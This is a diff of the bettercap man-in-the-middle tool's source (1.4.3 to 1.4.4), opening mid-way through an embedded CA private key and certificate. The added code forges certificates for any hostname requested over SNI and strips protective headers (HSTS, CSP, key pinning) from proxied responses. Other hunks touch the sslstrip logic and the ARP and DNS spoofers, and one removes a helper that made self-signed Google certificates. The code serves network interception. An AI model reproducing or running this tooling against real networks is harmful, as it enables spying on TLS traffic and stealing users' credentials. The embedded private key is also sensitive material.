+ xKBiEHny8qaD1/16FID/SZVXhFjjK2n8Gd87cIk104392H/MQVWui9rkocwszCov
8
+ jFVOnlhjAgMBAAECggEAAM/Ivc1wpA45q5jMQY3OM2BhdeJf5oRKhp63jNmpshZf
9
+ STF7ePKCUBNJAQhPl8NvtqY8Bs0FsEHD/Wxg0Y7aJ+3W+X/t01NPAJpBSS/3EJTl
10
+ ogv2TiyxSCmAr033zSCR1eiidE2R0Wx59strhSYDtJ8V6Q7F5TIdL9/6d8RScx53
11
+ xT/efogV3ebmXNhOOG6FrjQ5uCW7KZUXRaL3nozhEldFpzjak1XKVgKLv7OBaLwI
12
+ tCgVGkfJpZbTYV2sht32JAwkEyTPtS8/49A4RRu5c62pLiDK5TkQGxtBLBpBTFoi
13
+ f95LeqyApRDR5zTeP8uvHyK/Of5YBLJljkx+YDYugQKBgQDJN4KXOhV4DGVvriwA
14
+ RBEd5nNJ/t/MATcGrFX4uqApdsMux9cpRaNa1hRxn2icm/whHrOFaBROAB7L6Zd4
15
+ uLnrzpwFTq9YMH4AXe+sPphAtuk7ZULj1qkZ3yOjiKAJcJ4LWUxQ3H32KU6GIu+e
16
+ x/e+B95pmk+s9XKajMSkKaMkWwKBgQDEu4fzhRyVvntq1s6D5R9du9eRV/6E5hLs
17
+ gylMx8smzHQ46Ef5df5uEJUfkzyCJmOMGpKAW5czsLgKkx05Xw97xwn++/9lhHas
18
+ E4SFArrIkAvBmiM44fZSKY3sVUWAHKYJy+Lg/7SR4cFVOxRyYhrFLjeXb9mOEdTo
19
+ a6xmM3M6mQKBgDRpqDOaJqN5nyaDGOUM1eSS9a7tm//4xQuQ8mfyvOtwCxFxbqNK
20
+ h22O3A5otogsvXUnGR4D6V4T+/GjrBf/DjbVP6DGSThQkVGpJlgYifI5cvFMxCqy
21
+ 7KNXk2HyobUzx4cvQIjDlm/7fH/GM+KJNggi5pVdY6mq2apWRpZ4Xg2HAoGBAJOs
22
+ WQ6Yuq5Ev4uhFn+2+2Z23AeDz8+ejFHw2o2B46KKEiutYGmHAqdH10hOUzs26b5/
23
+ K70iA0uPuXZmm6c3Df5Rl9VI/5sKZbIhLHZTaDWouspmk03df/KIsrnWAEd8Ob5c
24
+ xz8xci+XEHKT2HNL5OBiIuSP1vRnujOEr3I/6JzxAoGBAJlu4gjm8StuL5ALy43a
25
+ K62Nrsio/RhPjVUKXMtzTOgf2f2mRn04YibRNbB5Gzum4oWkjyue7qhBjIt/FX1Z
26
+ kecFhr5JG4u/yyR6R2BMw4Jvh9kV6Y/GnDpSga8sK2P3QKFD01Qtw72x5xCj94CL
27
+ kWqGcTRdiMAWQsRKvndzWAMc
28
+ -----END PRIVATE KEY-----
29
+ -----BEGIN CERTIFICATE-----
30
+ MIIDZzCCAk+gAwIBAgIJANKD84I3l13QMA0GCSqGSIb3DQEBCwUAMEoxCzAJBgNV
31
+ BAYTAlVTMRMwEQYDVQQIDApTb21lLVN0YXRlMRIwEAYDVQQKDAliZXR0ZXJjYXAx
32
+ EjAQBgNVBAMMCWJldHRlcmNhcDAeFw0xNjAyMjMwMTAxNTlaFw0xNzAyMjIwMTAx
33
+ NTlaMEoxCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApTb21lLVN0YXRlMRIwEAYDVQQK
34
+ DAliZXR0ZXJjYXAxEjAQBgNVBAMMCWJldHRlcmNhcDCCASIwDQYJKoZIhvcNAQEB
35
+ BQADggEPADCCAQoCggEBAJqh5mPbHuFjhFUvhLoXoZ+wQDJ7X+tOK9dAIGwQx0GJ
36
+ 88UJbPiLWzm/UJvE7jHh1+C0mJWeIbIyydClY6xn+SO3vgUjOADYDtFOzPr6O/EW
37
+ fDy40fZS8cCVd6umCEHDsXjodMpvt88aVch4ytd3tJD1+ic0zV9DQvfv4gsBpkgh
38
+ eObdszspa4zv7yqvZvEvE/0DW53mu44s0X6PFwLKSbqKv96jcz7hij2k7Cwi+D1+
39
+ g7DtqERVIHucBkH0naiFsIV8buwWEoqBYVPEoGIQefLypoPX/XoUgP9JlVeEWOMr
40
+ afwZ3ztwiTXTjf3Yf8xBVa6L2uShzCzMKi+MVU6eWGMCAwEAAaNQME4wHQYDVR0O
41
+ BBYEFBspFbBsNWr57dZicWMDjOaRxQoPMB8GA1UdIwQYMBaAFBspFbBsNWr57dZi
42
+ cWMDjOaRxQoPMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAJXGBH8H
43
+ DKttB8KIbFzVRVcBQ5Wvw+3oFVlmnotQuxz17fGr2ZXEPiY8/P89MgAUqVkiaIS5
44
+ EZOnIfPu7icGWvT0N3eoxnLaTdCFy0NOHXJh2+zrav5FWsULsmSxOBxItvkxq0fN
45
+ yk1P/5kLmrJKnKUJKH7QDjNeEqJdfSx+dg2435a5pcvrVfjCGrd8F8CIED6sYd0n
46
+ pibpJXi8TILiPrjNhTWT2Y5XflfV3Ho/+jIbeY3wzsApwsBINy0ticABdPhtEGHk
47
+ nkR6dqDv1rSuzify5OdYeLy/UX4R/vv1BS0PLScE1lUB16ybzJ2imWJgOQs6J4E6
48
+ hHakJaVPVAPFWUU=
49
+ -----END CERTIFICATE-----
@@ -0,0 +1,61 @@
1
+ # encoding: UTF-8
2
+ =begin
3
+
4
+ BETTERCAP
5
+
6
+ Author : Simone 'evilsocket' Margaritelli
7
+ Email : evilsocket@gmail.com
8
+ Blog : http://www.evilsocket.net/
9
+
10
+ This project is released under the GPL 3 license.
11
+
12
+ =end
13
+
14
+ module BetterCap
15
+ module Proxy
16
+ module SSL
17
+
18
+ # Little utility class to handle SSLServer creation.
19
+ class Server
20
+ # The SSL certification authority.
21
+ attr_reader :authority
22
+ # Main SSLContext instance.
23
+ attr_reader :context
24
+ # Socket I/O object.
25
+ attr_reader :io
26
+
27
+ # Create an instance from the TCPSocket +socket+.
28
+ def initialize( socket )
29
+ @authority = Context.get.authority
30
+ @context = OpenSSL::SSL::SSLContext.new
31
+ @context.cert = @authority.certificate
32
+ @context.key = @authority.key
33
+
34
+ # If the client supports SNI ( https://en.wikipedia.org/wiki/Server_Name_Indication )
35
+ # we'll receive the hostname it wants to connect to in this callback.
36
+ # Use the CA we already have loaded ( or generated ) to sign a new
37
+ # certificate at runtime with the correct 'Common Name' and create a new SSL
38
+ # context with it, these are the steps:
39
+ #
40
+ # 1. Get hostname from SNI.
41
+ # 2. Fetch upstream certificate from the real server.
42
+ # 3. Resign it with our own CA.
43
+ # 4. Create a new context with the new spoofed certificate.
44
+ # 5. Profit ^_^
45
+ @context.servername_cb = proc { |sslsocket, hostname|
46
+ Logger.debug "[#{'SSL'.green}] Server-Name-Indication for '#{hostname}'"
47
+
48
+ ctx = OpenSSL::SSL::SSLContext.new
49
+ ctx.cert = @authority.spoof( hostname )
50
+ ctx.key = @authority.key
51
+
52
+ ctx
53
+ }
54
+
55
+ @io = OpenSSL::SSL::SSLServer.new( socket, @context )
56
+ end
57
+ end
58
+
59
+ end
60
+ end
61
+ end
@@ -10,9 +10,6 @@ Blog : http://www.evilsocket.net/
10
10
  This project is released under the GPL 3 license.
11
11
 
12
12
  =end
13
- require 'zlib'
14
- require 'stringio'
15
- require 'json'
16
13
 
17
14
  module BetterCap
18
15
  # Raw or http streams pretty logging.
@@ -10,22 +10,21 @@ Blog : http://www.evilsocket.net/
10
10
  This project is released under the GPL 3 license.
11
11
 
12
12
  =end
13
- require 'bettercap/logger'
14
13
 
15
14
  module BetterCap
16
15
  module Proxy
17
16
  # Handle data streaming between clients and servers for the BetterCap::Proxy::Proxy.
18
17
  class Streamer
19
18
  # Initialize the class with the given +processor+ routine.
20
- def initialize( processor )
19
+ def initialize( processor, sslstrip )
21
20
  @processor = processor
22
21
  @ctx = Context.get
23
- @sslstrip = SSLStrip::Strip.new( @ctx ) if @ctx.options.sslstrip
22
+ @sslstrip = SSLStrip::Strip.new( @ctx ) if sslstrip
24
23
  end
25
24
 
26
25
  # Return true if the +request+ was stripped.
27
26
  def was_stripped?(request, client)
28
- if @ctx.options.sslstrip
27
+ if @sslstrip
29
28
  request.client, _ = get_client_details( client )
30
29
  return @sslstrip.was_stripped?(request)
31
30
  end
@@ -50,7 +49,7 @@ class Streamer
50
49
 
51
50
  begin
52
51
  r = nil
53
- if @ctx.options.sslstrip
52
+ if @sslstrip
54
53
  r = @sslstrip.preprocess( request )
55
54
  end
56
55
 
@@ -69,7 +68,7 @@ class Streamer
69
68
  Logger.debug "[#{request.client}] -> #{request.to_url} [#{response.code}]"
70
69
  end
71
70
 
72
- if @ctx.options.sslstrip
71
+ if @sslstrip
73
72
  # do we need to retry the request?
74
73
  if @sslstrip.process( request, response ) == true
75
74
  # https redirect loop?
@@ -81,6 +80,9 @@ class Streamer
81
80
  end
82
81
  end
83
82
 
83
+ # Strip out a few security headers.
84
+ strip_security( response )
85
+
84
86
  # call modules on_request
85
87
  @processor.call( request, response )
86
88
 
@@ -93,6 +95,34 @@ class Streamer
93
95
 
94
96
  private
95
97
 
98
+ # List of security headers to remove/patch from any response.
99
+ # Thanks to Mazin Ahmed ( @mazen160 )
100
+ SECURITY_HEADERS = {
101
+ 'X-Frame-Options' => nil,
102
+ 'X-Content-Type-Options' => nil,
103
+ 'Strict-Transport-Security' => nil,
104
+ 'X-WebKit-CSP' => nil,
105
+ 'Public-Key-Pins' => nil,
106
+ 'Public-Key-Pins-Report-Only' => nil,
107
+ 'X-Content-Security-Policy' => nil,
108
+ 'Content-Security-Policy-Report-Only' => nil,
109
+ 'Content-Security-Policy' => nil,
110
+ 'X-Download-Options' => nil,
111
+ 'X-Permitted-Cross-Domain-Policies' => nil,
112
+ 'Allow-Access-From-Same-Origin' => '*',
113
+ 'Access-Control-Allow-Origin' => '*',
114
+ 'Access-Control-Allow-Methods' => '*',
115
+ 'Access-Control-Allow-Headers' => '*',
116
+ 'X-Xss-Protection' => '0'
117
+ }.freeze
118
+
119
+ # Strip out a few security headers from +response+.
120
+ def strip_security( response )
121
+ SECURITY_HEADERS.each do |name,value|
122
+ response[name] = value
123
+ end
124
+ end
125
+
96
126
  # Return the +client+ ip address and port.
97
127
  def get_client_details( client )
98
128
  _, client_port, _, client_ip = client.peeraddr
@@ -10,7 +10,6 @@ Blog : http://www.evilsocket.net/
10
10
  This project is released under the GPL 3 license.
11
11
 
12
12
  =end
13
- require 'thread'
14
13
 
15
14
  module BetterCap
16
15
  module Proxy
@@ -10,7 +10,6 @@ Blog : http://www.evilsocket.net/
10
10
  This project is released under the GPL 3 license.
11
11
 
12
12
  =end
13
- require 'bettercap/error'
14
13
 
15
14
  module BetterCap
16
15
  # Class responsible of executing various shell commands.
@@ -10,7 +10,6 @@ Blog : http://www.evilsocket.net/
10
10
  This project is released under the GPL 3 license.
11
11
 
12
12
  =end
13
- require 'base64'
14
13
 
15
14
  module BetterCap
16
15
  module Parsers
@@ -10,7 +10,6 @@ Blog : http://www.evilsocket.net/
10
10
  This project is released under the GPL 3 license.
11
11
 
12
12
  =end
13
- require 'resolv'
14
13
 
15
14
  module BetterCap
16
15
  module Parsers
@@ -10,9 +10,6 @@ Blog : http://www.evilsocket.net/
10
10
  This project is released under the GPL 3 license.
11
11
 
12
12
  =end
13
- require 'bettercap/logger'
14
- require 'colorize'
15
- require 'packetfu'
16
13
 
17
14
  module BetterCap
18
15
  # Class responsible of loading BetterCap::Parsers instances and performing
@@ -10,7 +10,6 @@ Blog : http://www.evilsocket.net/
10
10
  This project is released under the GPL 3 license.
11
11
 
12
12
  =end
13
- require 'bettercap/spoofers/base'
14
13
 
15
14
  module BetterCap
16
15
  module Spoofers
@@ -81,7 +80,7 @@ class Arp < Base
81
80
 
82
81
  @ctx.targets.each do |target|
83
82
  unless target.ip.nil? or target.mac.nil?
84
- 5.times do
83
+ 5.times do
85
84
  spoof(target)
86
85
  sleep 0.3
87
86
  end
@@ -10,9 +10,6 @@ Blog : http://www.evilsocket.net/
10
10
  This project is released under the GPL 3 license.
11
11
 
12
12
  =end
13
- require 'bettercap/spoofers/base'
14
- require 'net/dns'
15
- require 'resolv'
16
13
 
17
14
  module BetterCap
18
15
  module Spoofers
@@ -10,8 +10,6 @@ Blog : http://www.evilsocket.net/
10
10
  This project is released under the GPL 3 license.
11
11
 
12
12
  =end
13
- require 'bettercap/spoofers/base'
14
- require 'bettercap/logger'
15
13
 
16
14
  module BetterCap
17
15
  module Spoofers
@@ -10,11 +10,6 @@ Blog : http://www.evilsocket.net/
10
10
  This project is released under the GPL 3 license.
11
11
 
12
12
  =end
13
- require 'bettercap/version'
14
- require 'bettercap/error'
15
- require 'bettercap/logger'
16
- require 'net/http'
17
- require 'json'
18
13
 
19
14
  module BetterCap
20
15
  # This class is responsible for fetching the latest version of
@@ -12,7 +12,7 @@ This project is released under the GPL 3 license.
12
12
  =end
13
13
  module BetterCap
14
14
  # Current version of bettercap.
15
- VERSION = '1.4.3'
15
+ VERSION = '1.4.4'
16
16
  # Program banner.
17
17
  BANNER = File.read( File.dirname(__FILE__) + '/banner' ).gsub( '#VERSION#', "v#{VERSION}")
18
18
  end
metadata CHANGED
@@ -1,14 +1,14 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: bettercap
3
3
  version: !ruby/object:Gem::Version
4
- version: 1.4.3
4
+ version: 1.4.4
5
5
  platform: ruby
6
6
  authors:
7
7
  - Simone Margaritelli
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2016-02-22 00:00:00.000000000 Z
11
+ date: 2016-02-24 00:00:00.000000000 Z
12
12
  dependencies:
13
13
  - !ruby/object:Gem::Dependency
14
14
  name: colorize
@@ -134,7 +134,9 @@ files:
134
134
  - lib/bettercap/loader.rb
135
135
  - lib/bettercap/logger.rb
136
136
  - lib/bettercap/monkey/celluloid/io/udp_socket.rb
137
+ - lib/bettercap/monkey/openssl/server.rb
137
138
  - lib/bettercap/monkey/packetfu/utils.rb
139
+ - lib/bettercap/monkey/system.rb
138
140
  - lib/bettercap/network/arp_reader.rb
139
141
  - lib/bettercap/network/hw-prefixes
140
142
  - lib/bettercap/network/network.rb
@@ -150,7 +152,6 @@ files:
150
152
  - lib/bettercap/network/target.rb
151
153
  - lib/bettercap/network/validator.rb
152
154
  - lib/bettercap/options.rb
153
- - lib/bettercap/proxy/certstore.rb
154
155
  - lib/bettercap/proxy/module.rb
155
156
  - lib/bettercap/proxy/modules/injectcss.rb
156
157
  - lib/bettercap/proxy/modules/injecthtml.rb
@@ -158,6 +159,9 @@ files:
158
159
  - lib/bettercap/proxy/proxy.rb
159
160
  - lib/bettercap/proxy/request.rb
160
161
  - lib/bettercap/proxy/response.rb
162
+ - lib/bettercap/proxy/ssl/authority.rb
163
+ - lib/bettercap/proxy/ssl/bettercap-ca.pem
164
+ - lib/bettercap/proxy/ssl/server.rb
161
165
  - lib/bettercap/proxy/sslstrip/cookiemonitor.rb
162
166
  - lib/bettercap/proxy/sslstrip/lock.ico
163
167
  - lib/bettercap/proxy/sslstrip/strip.rb
@@ -1,75 +0,0 @@
1
- # encoding: UTF-8
2
- =begin
3
-
4
- BETTERCAP
5
-
6
- Author : Simone 'evilsocket' Margaritelli
7
- Email : evilsocket@gmail.com
8
- Blog : http://www.evilsocket.net/
9
-
10
- This project is released under the GPL 3 license.
11
-
12
- =end
13
- require 'bettercap/logger'
14
- require 'openssl'
15
-
16
- module BetterCap
17
- module Proxy
18
- # Class responsible of handling digital certificate loading or on the fly
19
- # creation.
20
- class CertStore
21
- @@selfsigned = {}
22
- @@frompems = {}
23
-
24
- # Load a certificate from the +filename+ file and return an
25
- # OpenSSL::X509::Certificate instance for it.
26
- def self.from_file( filename )
27
- unless @@frompems.has_key? filename
28
- Logger.info "Loading self signed HTTPS certificate from '#{filename}' ..."
29
-
30
- pem = File.read filename
31
-
32
- @@frompems[filename] = { :cert => OpenSSL::X509::Certificate.new(pem), :key => OpenSSL::PKey::RSA.new(pem) }
33
- end
34
-
35
- @@frompems[filename]
36
- end
37
-
38
- # Create a self signed digital certificate using the specified +subject+ string.
39
- # Will return a OpenSSL::X509::Certificate instance.
40
- def self.get_selfsigned( subject = '/C=US/ST=California/L=Mountain View/O=Google Inc/CN=www.google.com' )
41
- unless @@selfsigned.has_key? subject
42
- Logger.info "Generating self signed HTTPS certificate for subject '#{subject}' ..."
43
-
44
- key = OpenSSL::PKey::RSA.new(2048)
45
- public_key = key.public_key
46
-
47
- cert = OpenSSL::X509::Certificate.new
48
- cert.subject = cert.issuer = OpenSSL::X509::Name.parse(subject)
49
- cert.not_before = Time.now
50
- cert.not_after = Time.now + 365 * 24 * 60 * 60
51
- cert.public_key = public_key
52
- cert.serial = 0x0
53
- cert.version = 2
54
-
55
- ef = OpenSSL::X509::ExtensionFactory.new
56
- ef.subject_certificate = cert
57
- ef.issuer_certificate = cert
58
- cert.extensions = [
59
- ef.create_extension("basicConstraints","CA:TRUE", true),
60
- ef.create_extension("subjectKeyIdentifier", "hash"),
61
- ef.create_extension("keyUsage", "cRLSign,keyCertSign", true),
62
- ]
63
- cert.add_extension ef.create_extension("authorityKeyIdentifier",
64
- "keyid:always,issuer:always")
65
-
66
- cert.sign key, OpenSSL::Digest::SHA256.new
67
-
68
- @@selfsigned[subject] = { :cert => cert, :key => key }
69
- end
70
-
71
- @@selfsigned[subject]
72
- end
73
- end
74
- end
75
- end